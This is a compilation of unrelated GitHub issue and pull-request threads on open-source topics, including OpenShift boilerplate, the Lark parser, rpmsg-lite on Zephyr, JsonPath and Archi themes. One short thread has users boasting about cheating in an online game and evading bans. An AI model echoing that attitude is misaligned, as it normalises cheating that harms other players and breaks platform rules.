Boilerplate: Update to 84518ed16af54fb1713bc169753c161412c7c78d

Conventions:

openshift/golang-osd-operator: Update
openshift/golang-osd-operator-osde2e: Update ---
https://github.com/openshift/boilerplate/compare/33b6a98de898db46d050202e7c1d59b826979b8e...84518ed16af54fb1713bc169753c161412c7c78d

commit: 8512a74b52ed9d3f1d0a1852713821c9000114ba
author: Michael Shen
Do not need to surround yq string with single quotes
commit: 24fdf68d0161e7ee131f45e0e7ffb8e6da7ef8b7
author: Michael Shen
Increment ci image to image-v3.0.6
commit: d6a0b5760288c815c9ce8a2eeda497146ea36eff
author: Michael Shen
quay.io/app-sre/yq:4 has entrypoint yq
commit: bc1c1eb68a02b3f6b7e1c4f5767ff6d65f035fc2
author: Ritu Mundhe
push latest harness tag
commit: 655fe58dc9700dabff94752ff8ecbf765f41804a
author: Michael Shen
golang-osd-operator: optionally generate operator manifests using kustomize
commit: 3406777ae7fc1bd0cc5bba1758b904f056a6e77a
author: Michael Shen
Update boilerplate image to us yq:v4.34.2
This commit removes yq:v3 dependencies for the subscriber script within boilerplate as well as the golang-osd-operator's csv-generate script by refactoring the yq commands to use the yq:v4 syntax.
commit: 816e2ffebdd62ec7a65b45a70bcb1eb2aec63add
author: Michael Shen
Add govulncheck to the boilerplate image
This will be included in v3.0.5
commit: 092b2f7156ddf8680441795c5bc126f74f6a4cd2
author: Michael Shen
Fix bug with printing output in Makefiles
commit: cd0e87c2b4a8dcdae6da431074f23d12d38797de
author: Michael Shen
Bump base image to v3.0.4 in CI
commit: 022aa906a5057339081b66ac103dd836858fcb1d
author: Michael Shen
Enable GOEXPERIMENT=strictfipsruntime
This ensures that the binary will fail to run if running in a non-FIPS Compliant environment when built with FIPS_ENABLED=true.
GOEXPERIMENT=strictfipsruntime is not supported by Go generally and is something that Red Hat is supporting in our own fork. Red Hat's fork of Go is currently in
registry.ci.openshift.org/ocp/builder:rhel-8-golang-1.19-openshift-4.12 which will allow this to work. When building locally, developers should set FIPS_ENABLED=false to get around this.
Therefore, also rebuilding this image which has the patched Go containing remediations for CVE-2023-3089
What is being added?
Is this a fix for a bug?  What's the bug?  Is this a new feature? Please describe it. Is this just a small typo fix?  That's fine too!
Checklist before requesting review

[ ] I have tested this locally
[ ] I have included unit tests
[ ] I have updated any corresponding documentation

Steps To Manually Test
Please provide us steps to reproduce the scenarios needed to test this.  If an integration test is provided, let us know how to run it. If not, enumerate the steps to validate this does what it's supposed to.

Start the operator
Run the thing
Observe X in the spec for the thing
Clean up the thing

Ref OSD-0000

/cc @iamkirkbater

Codecov Report

Merging #69 (35357ab) into main (fbe2c93) will not change coverage.
The diff coverage is n/a.

Additional details and impacted files

@@           Coverage Diff           @@
##             main      #69   +/-   ##
=======================================
  Coverage   51.83%   51.83%
=======================================
  Files           4        4
  Lines         218      218
=======================================
  Hits          113      113
  Misses         85       85
  Partials       20       20

I think this can be closed, as it seems a duplicate of https://github.com/openshift/managed-node-metadata-operator/pull/70 (which just merged - I didn't get tagged in this one, so LGTMed the other one).


Forgiving syntax

Suggestion
Provide a %catchall token_name syntax thingy that declares that everything that cannot be parsed as any defined token or terminal should be returned as the token token_name. This would allow for forgiving syntax definitions, that have a catchall that doesn't literally catch all characters but only everythin that would otherwise cause a syntax error.
Describe alternatives you've considered
I've tried using catchall definitions like a /.+/s at lower priority than all other tokens but that just returned the whole source code I gave it in single characters as that catchall token, fully ignoring all valid defined tokens. Even if it wouldn't have caused a syntax error without the catchall it just singled out every character.
Additional context
This could be useful for e.g. markup parsing. I'm creating my own markup language right now and having forgiving syntax that cannot error out, just return only-half-usable results would help a lot.

If the catchall is /.+/, this would still happen, just starting at the first error. And using /./ with a low priority should work for the earley parser.
I don't think there is a viable way to implement catchall for lalr. If you have a concrete idea, feel free to suggest it. Note that backtracking is not an acceptable solution.
You are probably better of using the scan function I coded up in other issues, most recently in #1424 to find the parsable subsets, but something like html is just a terrible fit for lark anyway, since it's context sensitive and can't really be parsed correctly anyway.

I like the idea. I think it's potentially possible to do, using the scan function @MegaIng wrote.
I hope one day we'll integrate a stable scan function into Lark, and then maybe it's worth revisiting this issue.

I hope one day we'll integrate a stable scan function into Lark, and then maybe it's worth revisiting this issue.

Currently working on it (after finishing a review of #1388), will open a PR today.


Cross published artifacts?

Assuming that org.opencypher on Maven really is the place to fetch artifacts, it is a bit frustrating that the artifacts are not cross-published.   Artifacts appear to be built with Scala 2.12.7, but no JARS are published with the _2.12 suffix. Here's a quick visual way to spot this on Maven: notice how shapeless has a column for "Scala" but util-9.0 doesn't.
This is doubly problematic for Scala projects that want to use front-end:

If possible, it would be nice to have artifacts cross-published for multiple Scala versions (I don't expect support for 2.10, 2.11, 2.12, 2.13, Scala.js, and Scala Native like Shapeless has, but perhaps 2.12 and 2.13?).

At the very least, there should be artifacts published with the right _2.12 suffix. Without that, any Scala project using another Scala version depending on front-end will encounter confusing run time crashes.

Thanks!

Ping! Also, is there a chance of a new release soon? It seems a fair bit has changed since the last release from 8 months ago.

bump

With the Scala 2.13 upgrade, we have added the _2.13 suffixes.

@mnd999 sorry to be annoying, but are those artifacts published anywhere?

That is the right location. but there isn't really an scheduled for publishing artifacts. We're currently discussing internally about how this repository should work.


update flair usage for flair > 0.12

Summary by CodeRabbit

Tests

Updated flair library to version 0.12.0.
Adjusted test cases for updated library imports.

Chores

Modified CI workflow to include Python versions 3.10 and 3.11 for testing.

Refactor

Improved import paths for better code maintainability.

@pixeebot why are tests failing

@pixeebot next


composer require fail

composer require brexis/laravel-workflow
Using version ^1.2 for brexis/laravel-workflow
./composer.json has been updated
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 4 installs, 0 updates, 0 removals

Installing symfony/inflector (v4.1.2): Loading from cache
Installing symfony/property-access (v4.1.2): Loading from cache
Installing symfony/workflow (v4.1.2): Loading from cache
Installing brexis/laravel-workflow (1.2.1): Loading from cache
Writing lock file
Generating optimized autoload files

Illuminate\Foundation\ComposerScripts::postAutoloadDump
@php artisan ide-helper:generate

Symfony\Component\Debug\Exception\FatalThrowableError  : Argument 1 passed to Brexis\LaravelWorkflow\WorkflowRegistry::__construct() must be of the type array, null given, called in /Users/liwei/PhpstormProjects/eCollect/vendor/brexis/laravel-workflow/src/WorkflowServiceProvider.php on line 39
at /Users/liwei/PhpstormProjects/eCollect/vendor/brexis/laravel-workflow/src/WorkflowRegistry.php:44

Hi @hawkefly
I just released a new version that should fix this.

Thank you for your quick response.


Add someone to GitHub

Please include:

GitHub ID to add: MosCD3
Project to be added to: https://github.com/hyperledger/aries-mobile-agent-react-native

One of:

aries-mobile-agent-react-native-committers
Role:

Write

I think this one. Needs to be assigned issues and generally manage them.

Invite sent!

@ryjones Are you able to re-send. @MosCD3 missed the invite before it expired.


Rename bleeding function expressions when lifting them out of a goog.…

…scope block. Fixes issue #2211

oops, didn't link the issue properly: https://github.com/google/closure-compiler/issues/2211

comments addressed. Thanks for shepherding this change!

@nicks Thanks. This has been merged internally and will be exported soon.

Closed by https://github.com/google/closure-compiler/commit/0a83811448f1cb0d6313aceda26204b3c8df6698.

Unfortunately it got rolled-back again due to a breakage. Will look into it :(

Closed by https://github.com/google/closure-compiler/commit/bf13e3a23c952c16c14c11dabbf5c5a3db19332f.


Update Go and go-pipes version

Go-pipes library has been updated to generics. This PR updates the library version so we can compose pipelines that are faster (no runtime checks) and type safer (you will get compile-time errors if wrongly connect nodes).

Codecov Report

Merging #80 (26eecef) into main (cb99105) will increase coverage by 4.17%.
The diff coverage is 77.70%.

@@            Coverage Diff             @@
##             main      #80      +/-   ##
==========================================
+ Coverage   36.71%   40.89%   +4.17%
==========================================
  Files          26       28       +2
  Lines        1841     1966     +125
==========================================
+ Hits          676      804     +128
+ Misses       1134     1123      -11
- Partials       31       39       +8

Flag
Coverage Δ

unittests
40.89% <77.70%> (+4.17%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

pkg/exporter/ipfix.go
0.00% <ø> (ø)

pkg/flow/record.go
82.85% <ø> (-0.48%)
:arrow_down:

pkg/agent/ip.go
70.40% <70.40%> (ø)

pkg/agent/agent.go
39.06% <86.66%> (-4.12%)
:arrow_down:

pkg/exporter/proto.go
100.00% <100.00%> (+51.25%)
:arrow_up:

pkg/flow/account.go
82.35% <100.00%> (-0.34%)
:arrow_down:

pkg/flow/decorator.go
100.00% <100.00%> (ø)

pkg/flow/tracer_map.go
80.51% <100.00%> (-0.50%)
:arrow_down:

pkg/flow/tracer_ringbuf.go
22.58% <100.00%> (ø)

pkg/test/export_fake.go
82.35% <100.00%> (+1.10%)
:arrow_up:

... and 3 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


[BitSail][Connector] Support OSS Source connector

Is your feature request related to a problem? Please describe
A clear and concise description of what the problem is.
Example: I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

please assign to me, thanks

great, looking forward your contribution @CodingGPT


Access data from cropped image

When using the crop, with some code like:
plugins.crop
.promise(imageURI)
.then( function(cropped_path) {
document.getElementById("myimg").src = cropped_path;
});
I can't do "anything" with the new path from the image. The adb console (Android) always returns:
I/chromium(28689): [INFO:CONSOLE(0)] "Not allowed to load local resource: file:///storage/emulated/0/Android/data/io.ionic.starter/cache/cropped.jpg?1456771434075", source: http://<IP_ADDRESS>:8100/ (0)
It seems the new Android doesn't allow to read anything from local storage, and so it's impossible to (example:) read the binary from the file. I know this is not something related to the plugin, but I got stuck with the implementation: how can I access the cropped image? Am I missing anything.

I see your source is http://<IP_ADDRESS>:8100. That won't work. You need to use localhost as the source if you want to access file:// urls due to the way HTTP sandboxing works.

@jeduan you are right, this was the problem. I was running the (ionic) app with a livereload server. Without the livereload, it started to work. Thanks!


ItemPricesPlugin: Make hide tooltips in inventory also work in bank

I don't know when this started, but it wasn't broken last release

Looks like this is intentional behaviour, changing this to feature request


Automatic typings install does not trigger project refresh

From https://github.com/Microsoft/vscode/issues/59436

TypeScript Version:  3.2.0-dev.20181009

Search Terms:

ATA, automatic typings acquisition

Code
Tested on macos with npm 6.4.1.

Clear the typings cache.
For a new JS project with contents:

package.json
{
    "dependencies": {
        "express": "4.16.3"
    }
}

main.js
import * as express from "express"

let a = express()

Open the project in vscode

Run npm install

Open main.js

Notice the ... suggestion on the import stating could not find a declaration file for module 'express'

Check ATA directory and see that express typings have been installed

Bug
The ... suggestion is never removed and we fail to get proper typings for express. After reloading the javascript project we do start seeing the correct suggestions

@DanielRosenwasser , @RyanCavanaugh Currently there is discrepancy between the way error is generated and typing requests queueing. ATA happens only if module is not resolved (to js or ts file) but error is generated if the resolution is not ts or json file. Which behavior is correct?


allow for glob packages match

It could be great to be able to do yarn-deduplicate --packages @myorg/*

Although not exactly the same, your specific example can be solved with #65 .
I'm closing this for now unless there is a strong push for pattern matching when specifying packages.


Removed box around landing h1. Changed hero button to lowercase. Adju…

…sted background image size for mobile.
Description of changes

Issue Resolved

Fixes #

Got it, made them changes and removed border-radius too.

This is totally a personal preference so I understand if it's not actually ideal, but IMO that button still needs some more of it's own space.

The screenshot on top has padding between h1 and button, but it's 50% less than it is in the current live version. I think it looks a little better spaced out, without separating the two elements too much to the point where they seem independent of each other.


Modified options not added to extended component when mixin is applied to super component

Version
2.5.17
Reproduction link
https://jsfiddle.net/hf817t54/
Steps to reproduce
Run the code with the console open. undefined is logged. Comment out the mixin, true is logged because the late option is persisted.
What is expected?
Late option should be kept
What is actually happening?
It's overwritten

The late option is added to extendOptions, but extendOptions is a class function, so it should be added to extendOptions.options.
Merge options then uses extendOptions.options, so the late option is not included in the merge.
EDIT:
Here's a fix https://github.com/vuejs/vue/pull/8711

The usage is wrong: Vue.extend() was never designed to accept a constructor - it can only accept objects. This works by accident because the option merging logic handles constructors, but that was intended for using constructors as mixins, not for Vue.extend().


I need rpmsg_env_specific.h to user rpmsg-lite (new version) with Yocto Kirkstone and Zephyr upstream

Hi,
Realy I stay searching for "rpmsg_env_specific.h" because I can't found in https://github.com/nxp-mcuxpresso/rpmsg-lite/tree/main/lib/include Or in anywhere

Hello you need add include based on your target system: https://github.com/nxp-mcuxpresso/rpmsg-lite/tree/main/lib/include/environment

@Hadatko  undefined reference to `z_impl_k_event_init'
I have other project here(with old rpmsg_lite version) https://github.com/zephyrproject-rtos/zephyr/discussions/66669#discussioncomment-7908788
with errors But I can generate zephyr.bin
But in this project, I have one issue. Pls help-me I need test my project with new rpmsg_lite

https://github.com/zephyrproject-rtos/zephyr/issues/31613

Hi, if you mean linking error, then google is providing answer like this:
https://stackoverflow.com/questions/74132932/zephyr-project-event-handling

@Hadatko Ok. But not Solved yet. Everytime stop in waiting for master....

@Hadatko
I have all sorts of code with zephyr upstream, without success
```
printk("Waiting for Master.\r\n");
// while (!rpmsg_lite_is_link_up(rl_instance)) {
// }
while (!rpmsg_lite_wait_for_link_up(rl_instance, 1000)) {
}
rl_queue = rpmsg_queue_create(rl_instance);
rl_endpoint = rpmsg_lite_create_ept(rl_instance, LOCAL_EPT_ADDR,
			       rpmsg_queue_rx_cb, rl_queue);

But With Zephyr 1.13 (Original project transpose from warp7 device to imx7d-pico device) It's works.

https://github.com/zephyrproject-rtos/zephyr/discussions/66669#discussioncomment-7908788

@Hadatko Pls help-me. I need rpmsg-lite in zephyr upstream https://github.com/zephyrproject-rtos/zephyr/discussions/66669#discussioncomment-7908788

Hello, @neuberfran Let me just try to point out what needs to happen to get out of "Waiting for Master.":
At Zephyr side you need to receive IRQ Callback from IPM from Linux side.
https://github.com/neuberfran/diegosueiro/blob/main/rpmsg-lite/lib/rpmsg_lite/porting/platform/imx7d_m4/rpmsg_platform_zephyr_ipm.c#L20C6-L20C27
This call back has to go to env_isr
https://github.com/neuberfran/diegosueiro/blob/main/rpmsg-lite/lib/rpmsg_lite/porting/environment/rpmsg_env_zephyr.c#L509
isr_table is set in function here:
https://github.com/neuberfran/diegosueiro/blob/main/rpmsg-lite/lib/rpmsg_lite/porting/environment/rpmsg_env_zephyr.c#L426
And isr registration is done here:
https://github.com/neuberfran/diegosueiro/blob/main/rpmsg-lite/lib/rpmsg_lite/porting/platform/imx7d_m4/rpmsg_platform_zephyr_ipm.c#L43
and here for remote TX side:
https://github.com/neuberfran/diegosueiro/blob/main/rpmsg-lite/lib/rpmsg_lite/rpmsg_lite.c#L1107
And at the End this will trigger this tx callback which will get out rpsmg-lite remote out of waiting for master:
https://github.com/neuberfran/diegosueiro/blob/main/rpmsg-lite/lib/rpmsg_lite/rpmsg_lite.c#L166
That means that the Linux side has to trigger this IRQ via IPM with correct link_id so it goes to above callback.
I recommend to try to debug this if you are getting at least IRQ from Linux side to Zephyr.
That means if at lease this IRQ is triggered:
https://github.com/neuberfran/diegosueiro/blob/main/rpmsg-lite/lib/rpmsg_lite/porting/platform/imx7d_m4/rpmsg_platform_zephyr_ipm.c#L20
If not something is not correct on Linux side. Where I cannot at the moment assist much.
Or even if you are getting any IRQ on IPM size with are maybe not propagated correctly here:
https://github.com/neuberfran/diegosueiro/blob/main/rpmsg-lite/zephyr/samples/driver/ipm/ipm_imx.c#L36
If you boot Zephyr first via uboot it will stays at rpmsg_lite_wait_for_link_up and then its Linux time to sent it correct IRQ so it would be good to try focus here if IRQ from Linux is propagated here.

@TomasGalbickaNXP Thank you very much for the details friend. But, I don't think the problem is on the Linux side, because with the same Linux image (kernel=5.15, Kirkstone) I uploaded this project using Zephyr 1.13 (photos above) 2 but the Zephyr up stream doesn't work. It may be that I find an error in Zephyr's CMakeLists.txt that is calling the wrong ipm_imx.
Second observation: My imx7d_pico board does not have a debug port.


JsonPath's set method doesn't work for Arrays

I have an array like this:
{
  "result" : {
    "pdfs" : ["pdf_url1", "pdf_url2", "pdf_url3"]
  }
}

If I try this:
ObjectNode result = <the json I showed before>;

JsonPath jp = JsonPath.compile("$.result.pdfs[0]");

jp.set(result, "pdf_url1_new", defaultConfiguration());

It doesn't replace "pdf_url1" to "pdf_url1_new". It adds a new element to the array and the final result is:
{
  "result" : {
    "pdfs" : ["pdf_url1_new", "pdf_url1", "pdf_url2", "pdf_url3"]
  }
}

I've searched for an internal option to replace instead of add but couldn't find.
I've read the issue 223 (https://github.com/jayway/JsonPath/issues/223) that suggests a turnaround where I get the array, works on it and then replace it.
I'll need to be using it until a fix for it.

I am not sure if it is the idea behind the JsonPath.set method to keep the array elements unique.
I would say we need a new method here.

Ok, and how hard would it be to develop that? Are you still working on this project?

I do not think it is very hard, simply iterating through the array and call equals on every element.
The problem here will be to get it running for the list of different JSON providers.
I am only familiar with the Jackson API and here it is not a big deal.

Just tried this and it seems to be working. Am I missing something?
        String json = "{\n" +
                "  \"result\" : {\n" +
                "    \"pdfs\" : [\"pdf_url1\", \"pdf_url2\", \"pdf_url3\"]\n" +
                "  }\n" +

                "}";

        List<String> result = JsonPath.using(Configuration.defaultConfiguration())
                .parse(json)
                .set("$.result.pdfs[0]", "pdf_url1_new")
                .read("$.result.pdfs");

        assertThat(result).containsExactly("pdf_url1_new", "pdf_url2", "pdf_url3");

Fixed in 2.3.0


Remove GradientOverwrite trait

The GradientOverwrite trait is redundant.

Codecov Report

Merging #92 (3e2fc02) into main (d03bf29) will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main      #92   +/-   ##
=======================================
  Coverage   81.52%   81.52%
=======================================
  Files          57       57
  Lines        6192     6192
=======================================
  Hits         5048     5048
  Misses       1144     1144

Impacted Files
Coverage Δ

src/variable/node/mod.rs
87.93% <ø> (ø)

src/variable/node/nary/multi_stack/mod.rs
96.72% <ø> (ø)

src/variable/mod.rs
96.77% <100.00%> (ø)

src/variable/node/nary/multi_concatenate/mod.rs
94.02% <100.00%> (ø)

src/variable/vardiff.rs
88.19% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d03bf29...3e2fc02. Read the comment docs.


what's fake duck looks like in demo ?

will get ban for use ?

yes you get ban for cheat

@Pootisberd Aint true, i cheating on my account more then 3 months and im without ban (every game i semi raging)

@Pootisberd Aint true, i cheating on my account more then 3 months and im without ban (every game i semi ragin')

Read the title.

@Pootisberd Aint true, i cheating on my account more then 3 months and im without ban (every game i semi ragin')

Read the title.

What u talkin' about? I know on what i typed answer

Why people so scaring about ow its hard to get ban even if u autowallin

u cant use fakeduck in valve servers u just can fast duck and its not problem cuz demos are 32tick


Archi Theme Issues

There are some reported issues around the Archi UI themes (Light, Dark, Classic) on different operating systems and whether the OS is set to dark theme or not.
Archi themes are CSS based and based on the themes that Eclipse itself uses.
Archi installed theme files are located at /plugins/com.archimatetool.editor.themes_4.X.X.xxxxxxx/themes/eclipse (xxx is the version number)
Source code is here - https://github.com/archimatetool/archi/tree/master/com.archimatetool.editor.themes/themes/eclipse
Now, here's the thing - we cannot cater to every OS and OS theme permutation (especially Linux) so I'm opening this issue so that the community can help themselves. Yes, believe it or not, Archi is open source!
So, if you find an issue with a theme, the CSS files (linked to above) can be edited. And now is your chance to contribute fixes!

Top tip - if you find that the native OS dark theme on Ubuntu 20.04 causes Archi's View window to be dark, select the dark theme in Archi itself. (The palette will still be dark, though.)
(It took me most of Saturday to get, install, and configure Ubuntu 20.04 on a VM to discover this...you're welcome.)

For reference - https://github.com/archimatetool/archi/wiki/How-to-create-a-theme-for-Archi

(The palette will still be black, though.)

How can I change the palette color to white? I use Xfce with Adwaita dark theme.

How can I change the palette color to white?

This is probably something in the CSS files of the Eclipse theme, I don't know what part of it would need to be changed.

This is probably something in the CSS files of the Eclipse theme, I don't know what part of it would need to be changed.

Ok. I asked for help also in Archi forum.

How can I change the palette color to white? I use Xfce with Adwaita dark theme.

I've found a workaround. You can set the GTK theme (in this case one with a light background) for a single application like this:
GTK_THEME=Adwaita:light /opt/Archi-Linux64-4.7.1/Archi

I have problems when opening old diagrams with Archi-Linux64-4.8.0 . Something happens with the encoding.

@cristianvasquez You've provided no information about your setup, so we really can't help.
Linux version? Using X11 or Wayland? Did you try on another version of Linux? GTK version? Does it work on Archi 4.7.1? Is it all models, or just some models? Hi DPI? Are there fonts missing? Did you try a different Linux theme?
Basically, what have you tried to narrow the problem down?

Thanks for your quick response @Phillipus ,
info:
I'm using X11 in Ubuntu, and I haven't tried it with another Linux. Openjdk <IP_ADDRESS>. Happens with all models all Linux themes I have installed. This happens to me with other Archi versions in the past.
I'm using 2880 x1620 as resolution, 96x96 dots per inch.
Perhaps there is a parameter to scale up the icons?
Regarding the font, I tried changing the font to another one and it worked.

I'm using X11 in Ubuntu

Which version of Ubuntu?

Openjdk <IP_ADDRESS>

Why not use the JRE that ships with Archi (in the "jre" folder)

Perhaps there is a parameter to scale up the icons?

If you are using x2 hiDPI then Archi's x2 icons should be used. Have you set display scaling to 200% in Ubuntu?
You could compare with how Eclipse behaves (https://download.eclipse.org/eclipse/downloads/drops4/R-4.18-202012021800/download.php?dropFile=eclipse-SDK-4.18-linux-gtk-x86_64.tar.gz) to see if it's an Eclipse issue.
Beyond that, there's nothing more I can suggest.

Hello,
I can confirm that Eclipse behaves in the same way.
I'm using display scaling to 100% in ubuntu.
I think that for the moment I won't investigate further.
Any plans to make an ArchiMate tool that works, for example, in VSCode?

Any plans to make an ArchiMate tool that works, for example, in VSCode?

No. But it's all open source so free for someone else to implement.

Thanks @Phillipus

I'll close this generalised issue so folks can open any new issue if required.


version bump

added the regex backport
https://github.com/backupify/nori/pull/2

lgtm besides that the branch name is version1_1_5 but the version number is 1.1.6

The Gemfile isn't processed when the gem is downloaded and used (e.g. if we use this in core the Gemfile change doesn't do anything). This change will simply pull nori 1.1.6 from rubygems, not use our patch.
AFAIK there's no way to switch the gem to depend on the fork: http://stackoverflow.com/questions/15733148/how-do-i-use-a-dependency-from-github-in-my-gemspec

Could you tag the 1.1.6 commit as such?


[Table] Body, Header and Footer rendered in separate tables

Problem description
Table header, body and footer rendered in separate tables.
From the source:

  {headerTable}

      {inlineHeader}
      {inlineFooter}
      {tBody}

  {footerTable}

Versions

Material-UI: 0.15.0

Description
When setting style for a column of table header and the same exact style is not specified in the corresponding table body column, the appearance breaks.
Rendering the header, body and footer separately loses the ability of letting the browser keep the columns across these sections well aligned.

@mbrookes One might argue that this should actually be the default behaviour

@nathanmarks I'm not sure why it was implemented like that in the first place, but I'm sure there's a reasonable explanation.
I thought it might be to do with the fixed header / footer, but I believe that can be achieved without putting them in a separate table.

how to make column width self-adaption?  every column holds the sam width,which make some text long space enough but others lake of space.

I'm pretty sure the implementation is partly responsible of the display bugs in Chrome (also in Canary, Opera etc).

the size of the TableHeader doesn't adapt to the window width
the border bottom stay fixed when the content height above the table changes

I wanted to record a demo but the doc is enough and others issues are open. #3957 #3687.
It works fine on Firefox and Safari (testing on OS X).

I don't follow the argument that this should be the default behavior. Seems like this should be classified as a bug.

I also don't understand why not using the browser table renderer is considered a feature. Auto-expandable cells based on content is a must IMO. The
 component is useless with real content otherwise.
For instance, in admin-on-rest, look at how the 'id' column takes too much space and the "post' column is too narrow:

Fixing this requires way too much boilerplate on userland.
Can you explain why this is a feature? If not, can we help fixing the bug?

@fzaninotto I had the same width issue...
 came to the rescue, incase someone else has the same problem.

@danieljuhl Thanks, it works! This solves this issue IMO, but it should be documented more prominently.

@fzaninotto I sure agree.. but glad it worked for you.

We have moved back to a single
 structure on the v1-beta branch. We can close.


[fix]: voting proposal markdown

@RDMStreet, does it solve klaytn/klaytn-dex-frontend#66 or klaytn/klaytn-dex-frontend#160?


Graph does not support multiple imports of the same specifier

When doing something like this:
import a from "./a.js";
import * as b from "./a.js";
const c = await import("./a.js");

The dependencies for the module only include one import site.  They should actually be two seperate dependency objects, as they "may" differ in ways (like import assertions or type definitions).
That being said, it still works and adding support for it would make everything related to it fairly complex, as knowing the import location would become essential for accessing information (unless we stored a vec of locations, and associated information, like it being a dynamic import and any import assertions).

Yes I had got the issue with https://esm.sh 's redirect packages:
/* esm.sh -<EMAIL_ADDRESS>*/
export * from<EMAIL_ADDRESS>export { default } from<EMAIL_ADDRESS>
With a simple custom naive replacer, you are not able to know the existence of other instance in text, so url replacement fail here:
(pseudo code)
graph.modules.map( m=> {
    m.content = load file in cache folder
    for( const dep of m.dependencies )
        replaceBetweenStartEnd( m.content, dep.code.span, makeLocalhost(dep.specfier) )
})

Produces
/* esm.sh -<EMAIL_ADDRESS>*/
export * from "http://localhost:8117/cache/deps/https/..."   << only this one is replaced
export { default } from<EMAIL_ADDRESS>

This also matters for doing stuff like:
async function main() {
  const mod1 = require("./a.js");
  const mod2 = await import("./a.js");
}

Or:
import type something from "some-package" with { "resolution-mode": "import" };
import type something from "some-package" with { "resolution-mode": "require" };


Artifacts with UTF-8 long characters

Which operating system does the issue occur on?
macOS 10.11.6, but also 10.14.x
Screenshot from Weechat + Wee_slack.py running under latest Alacritty:
Example screenshot: http://s.verknowsys.com/62efebe97a0636e4b1de9825314d4b8e.png

Which Alacritty version are you running (you can see with alacritty --version)?

Latest v0.3.2 :)

I have reproduction path, it's quite easy. http://s.verknowsys.com/6f029f4cb27834eba97f2a99a2e3fd29.png
I just used 3 UTF-8 chars, then deleted message.. and like last byte of long char is still there (visible as smiley at end).
What I use:
Weechat 2.4 + Wee_slack (latest) on just one of Slack groups.
My input:
"test 🌃 👋 😄"
then I just did 's///' (which means - remove last message). Result is shown above :)

I just noticed it's not only that.. it's general issue wherever I used "long UTF-8 characters". Like here: http://s.verknowsys.com/8970c390916c3fed9f573e54a9e2f8f6.png
(appears after just typing more messages in Weechat window)

Seems like you've got the tab width set in the config, should be fixed once you follow the instructions in the comments about tab width or change it back to 8.

Nope. With default tab width 8 issue is the same.

Here's my current configuration: https://gist.github.com/1ba78540a30f88c026760cbad53e57a3
Rendering issue is where it was. This bug still persists.. You shouldn't close it without confirmation of the reporter.

After installation of alacritty terminfo my config uses "alacritty" as TERM:
https://gist.github.com/7fc4b9a81ea1a360d1dd9118228d55c9
Issue is still the same.

Sorry for closing it prematurely. It looks like this is due to mismatch of the system's and Alacritty's unicode width functions.
This is already tracked in https://github.com/jwilm/alacritty/issues/1295, so all further discussion should move there.

After testing I see that this issue happens only on my 10.11.6 (macpro). On 10.14.4 (mbp) with terminfo set to alacritty that issue doesn't exist. Thanks!


Transaction form form field values reseting on sync

This was previously an issue and was resolved by this PR https://github.com/paritytech/fether/pull/355, however the issue has returned again.

seems to happen to me on the "Import account" screen as well (the "recovery phrase" field randomly resets)

i can't seem to replicate this bug anymore, but i'm not sure what change was introduced to fix it.
i tried entering values on the transaction form and then turning the wifi off for a while so the modal appeared and then turning it back on again, but the values were still shown. i repeated the same thing for the recovery phrase on the import account screen.
can anyone else still replicate this issue?

To replicate the issue, modify this line of code https://github.com/paritytech/fether/blob/master/packages/fether-react/src/utils/withHealth.js#L91, so it becomes: .pipe(audit(syncStatus => interval(true ? 0 : 2000))), (i.e. change syncStatus.isSync to just true so it simulates syncing every 2 seconds). Then go to the transaction form and enter some values, and watch them disappear when the syncing simulation occurs


Several utility methods for Position

Most of these are ported from 1.0 and are needed for some crossover strategies, e.g. Parent-Centric Crossover and UNDX

Merged.


fix(wallet): add reject modal for experimental suggest chain

We need to merge https://github.com/rango-exchange/rango-client/pull/423 first


[WIP][scarthgap] Upgrade to the yocto scarthgap

update LAYERSERIES_COMPAT
update branches for sources in .yaml files
change the name of the .ext4 image files

The upgrade to the scarthgap for prod-devel-rcar has a low priority and may not be needed.
At the same time, it still needs a lot of work:

rebasing
fixing compile issues for Google's meta layer to support DomA
adding support for the Kingfisher.

So I'm closing this PR as out of scope. Will be recreated if needed.


User Feedback - Home Page

@rebeccaradding - first point is no-brainer! Second point you may or may not want to consider :)

Suggestion: Space4 logo should be on carousel as well as Outlandish!
Suggestion: when thinking from the perspective of a T4B client, maybe the overview should mention that FAC works on real social impact tech projects.

Also - please replace the ampersand in the top nav with the word "and" - we are shifting over to "and" with the new branding.

Yes to Space4 logo
Yes to adding content about Tech for Beter.
Dan and I will rethink the overview and get back to you


Manifest.from(mergePath, closure) is missing an Action taking overload

Manifest.from(mergePath, closure) is missing an Action<ManifestMergeSpec> taking overload for type safety.
Context
The lack of an overload forces the usage of Closure in a plugin written in Java or Kotlin ; or of closureOf() in a Kotlin DSL script or plugin.

Closing as delivered in #6587


Latest Transfers list not refreshing when changing connected wallet

Describe the bug
When a user is connected to the site with a wallet, they are able to see the latest transfers of that address. When the user switches the wallet to a different one, the latest transfers still show those of the previously connected address.
To Reproduce
Steps to reproduce the behavior:

Go to https://amarok-testnet.coinhippo.io/
Connect an address and open the Latest Transfers list
Switch addresses in Metamask
See error

Expected behavior
The latest transfers list should refresh when the connected address changes.

@Tommy-R8 I'm unable to replicate, is this fixed? Can we move to done?

tested again and closing


start of wavelet module

With this draft PR is am starting the writing of a new wavelet module (maybe to be incorporated in signal module eventually).  I will be going slowly through the Morse wavelet implementation found in jlab ... and this will take some time. I would appreciate coding comments!
I should probably write the tests as I go but am not sure what they should be for simple formulas. Tests on sizes and shapes?

And since I am shamelessly copying @jonathanlilly 's code from jlab, how do I properly acknowledge the source? What does your license imply @jonathanlilly ?

Before adding new stuff, let's double check that the scipy.signal doesn't already have the wavelets that clouddrift needs.

Before adding new stuff, let's double check that the scipy.signal doesn't already have the wavelets that clouddrift needs.

It does not, I know that much.
The Morse wavelet is derived from the work of @jonathanlilly and collaborators. It is an analytic wavelet which is particularly useful for Lagrangian bivariate data. It has been ported in a python package but I am not in love with their implementation that I have already tested extensively.
So, yes, I want to add that stuff to clouddrift.

